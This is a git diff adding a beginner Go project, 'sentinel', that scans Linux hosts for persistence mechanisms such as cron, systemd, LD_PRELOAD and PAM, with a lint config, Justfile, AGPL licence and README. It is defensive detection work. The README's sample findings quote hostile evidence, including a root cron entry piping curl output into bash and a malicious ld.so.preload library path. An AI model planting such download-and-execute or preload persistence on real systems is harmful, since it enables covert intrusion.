diff --git a/PROJECTS/beginner/systemd-persistence-scanner/.gitignore b/PROJECTS/beginner/systemd-persistence-scanner/.gitignore new file mode 100644 index 00000000..ebb77dff --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/.gitignore @@ -0,0 +1,5 @@ +docs/ +bin/ +/sentinel +*.exe +*.out diff --git a/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml b/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml new file mode 100644 index 00000000..6b605e7e --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml @@ -0,0 +1,79 @@ +# ©AngelaMos | 2026 +# .golangci.yml + +version: "2" + +linters: + default: none + enable: + - errcheck + - govet + - gosec + - bodyclose + - nilerr + - errorlint + - exhaustive + - gocritic + - funlen + - gocognit + - dupl + - goconst + - ineffassign + - unused + - unconvert + - unparam + - testifylint + - fatcontext + + exclusions: + paths: + - vendor + - testdata + rules: + - path: _test\.go + linters: + - funlen + - dupl + - goconst + + settings: + errcheck: + check-type-assertions: true + check-blank: true + + funlen: + lines: 100 + statements: 50 + + gocognit: + min-complexity: 20 + + govet: + enable-all: true + disable: + - fieldalignment + + gosec: + excludes: + - G104 + +issues: + max-same-issues: 50 + +formatters: + enable: + - gci + - gofumpt + - golines + settings: + golines: + max-len: 80 + reformat-tags: true + gci: + sections: + - standard + - default + - prefix(github.com/CarterPerez-dev) + custom-order: true + gofumpt: + extra-rules: true diff --git a/PROJECTS/beginner/systemd-persistence-scanner/Justfile b/PROJECTS/beginner/systemd-persistence-scanner/Justfile new file mode 100644 index 00000000..0eba894f --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/Justfile @@ -0,0 +1,133 @@ +# ©AngelaMos | 2026 +# Justfile + +set export +set shell := ["bash", "-uc"] + +project := file_name(justfile_directory()) +version := `git describe --tags --always 2>/dev/null || echo "dev"` + +# ============================================================================= +# Default +# ============================================================================= + +default: + @just --list --unsorted + +# ============================================================================= +# Linting and Formatting +# ============================================================================= + +[group('lint')] +lint *ARGS: + golangci-lint run --timeout=5m {{ARGS}} + +[group('lint')] +lint-fix: + golangci-lint run --timeout=5m --fix + +[group('lint')] +format: + golangci-lint fmt + +[group('lint')] +tidy: + go mod tidy + +[group('lint')] +vet: + go vet ./... + +# ============================================================================= +# Testing +# ============================================================================= + +[group('test')] +test *ARGS: + go test -race ./... {{ARGS}} + +[group('test')] +test-v *ARGS: + go test -race -v ./... {{ARGS}} + +[group('test')] +cover: + go test -race -cover ./... + +# ============================================================================= +# CI / Quality +# ============================================================================= + +[group('ci')] +ci: lint test + @echo "All checks passed." + +[group('ci')] +check: lint vet + +# ============================================================================= +# Development +# ============================================================================= + +[group('dev')] +run *ARGS: + go run ./cmd/sentinel {{ARGS}} + +[group('dev')] +dev-scan: + go run ./cmd/sentinel scan + +[group('dev')] +dev-scan-json: + go run ./cmd/sentinel scan --json + +[group('dev')] +dev-testdata: + go run ./cmd/sentinel scan --root testdata + +[group('dev')] +dev-baseline-save: + go run ./cmd/sentinel baseline save + +[group('dev')] +dev-baseline-diff: + go run ./cmd/sentinel baseline diff + +# ============================================================================= +# Build (Production) +# ============================================================================= + +[group('prod')] +build: + go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel + @echo "Built: bin/sentinel ($(du -h bin/sentinel | cut -f1))" + +[group('prod')] +build-static: + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel + @echo "Built static: bin/sentinel ($(du -h bin/sentinel | cut -f1))" + +[group('prod')] +build-debug: + go build -o bin/sentinel ./cmd/sentinel + +[group('prod')] +install: + go install ./cmd/sentinel + +# ============================================================================= +# Utilities +# ============================================================================= + +[group('util')] +info: + @echo "Project: {{project}}" + @echo "Version: {{version}}" + @echo "Go: $(go version | cut -d' ' -f3)" + @echo "OS: {{os()}} ({{arch()}})" + @echo "Module: $(head -1 go.mod | cut -d' ' -f2)" + +[group('util')] +clean: + -rm -rf bin/ + @echo "Cleaned build artifacts." diff --git a/PROJECTS/beginner/systemd-persistence-scanner/LICENSE b/PROJECTS/beginner/systemd-persistence-scanner/LICENSE new file mode 100644 index 00000000..0ad25db4 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/LICENSE @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/PROJECTS/beginner/systemd-persistence-scanner/README.md b/PROJECTS/beginner/systemd-persistence-scanner/README.md new file mode 100644 index 00000000..3d14bfb4 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/README.md @@ -0,0 +1,102 @@ +```regex +███████╗███████╗███╗ ██╗████████╗ +██╔════╝██╔════╝████╗ ██║╚══██╔══╝ +███████╗█████╗ ██╔██╗ ██║ ██║ +╚════██║██╔══╝ ██║╚██╗██║ ██║ +███████║███████╗██║ ╚████║ ██║ +╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ +``` + +[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2322-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/systemd-persistence-scanner) +[![Go](https://img.shields.io/badge/Go-1.25+-00ADD8?style=flat&logo=go&logoColor=white)](https://go.dev) +[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0) +[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-Persistence-orange?style=flat)](https://attack.mitre.org/tactics/TA0003/) + +> Linux persistence mechanism scanner. Drop a single binary, find every backdoor. + +*This is a quick overview. Security theory, architecture, and full walkthroughs are in the [learn modules](#learn).* + +## What It Does + +- Scans 12+ persistence mechanism categories: systemd, cron, shell profiles, SSH, LD_PRELOAD, kernel modules, udev rules, init.d, XDG autostart, at jobs, MOTD scripts, and PAM modules +- Applies heuristic detection for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and temp directory abuse +- Severity scoring from info to critical with MITRE ATT&CK technique mapping on every finding +- Baseline mode saves a clean-system snapshot, then highlights only new findings on subsequent runs +- Compiles to a single static binary with zero dependencies for portable deployment + +## Quick Start + +```bash +go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest +sentinel scan +``` + +> [!TIP] +> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands. +> +> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin` + +## Commands + +| Command | Description | +|---------|-------------| +| `sentinel scan` | Scan for all persistence mechanisms | +| `sentinel scan --json` | Output results as structured JSON | +| `sentinel scan --min-severity high` | Only show high and critical findings | +| `sentinel scan --root /mnt/target` | Scan a mounted filesystem or chroot | +| `sentinel baseline save` | Save current state as a clean baseline | +| `sentinel baseline diff` | Show only new findings since baseline | + +## Example Output + +``` + [CRITICAL] Library in ld.so.preload + Path: /etc/ld.so.preload + Evidence: /dev/shm/.evil.so + MITRE: T1574.006 + + [HIGH] Suspicious cron entry: download-and-execute chain + Path: /etc/cron.d/updater + Evidence: */5 * * * * root curl http://... | bash + MITRE: T1053.003 + + [MEDIUM] Recently modified unit file + Path: /etc/systemd/system/backdoor.service + Evidence: Modified within the last 24 hours + MITRE: T1543.002 + + Summary: 1 critical 1 high 1 medium 0 low 4 info +``` + +## Scanners + +| Scanner | MITRE Technique | What It Checks | +|---------|----------------|----------------| +| systemd | T1543.002, T1053.006 | Service/timer units, ExecStart directives, drop-in overrides | +| cron | T1053.003 | System/user crontabs, cron.d, periodic directories, anacron | +| profile | T1546.004 | Shell RC files, /etc/profile.d, bashrc/zshrc injections | +| ssh | T1098.004 | authorized_keys options, sshd_config, SSH rc scripts | +| ld_preload | T1574.006 | /etc/ld.so.preload, ld.so.conf.d, /etc/environment | +| kernel | T1547.006 | modules-load.d, modprobe.d install hooks | +| udev | T1546 | Udev rules with RUN+= directives | +| initd | T1037.004 | Init.d scripts, rc.local content | +| xdg | T1547.013 | XDG autostart .desktop files | +| atjob | T1053.001 | Pending at job spool | +| motd | T1546 | update-motd.d login scripts | +| pam | T1556.003 | PAM configs, pam_exec.so, pam_permit.so in auth | + +## Learn + +This project includes step-by-step learning materials covering persistence techniques, detection engineering, and implementation details. + +| Module | Topic | +|--------|-------| +| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start | +| [01 - Concepts](learn/01-CONCEPTS.md) | Linux persistence and MITRE ATT&CK | +| [02 - Architecture](learn/02-ARCHITECTURE.md) | System design and data flow | +| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough | +| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises | + +## License + +AGPL 3.0 diff --git a/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go b/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go new file mode 100644 index 00000000..f7fbe626 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go @@ -0,0 +1,17 @@ +/* +©AngelaMos | 2026 +main.go + +Entry point for the sentinel 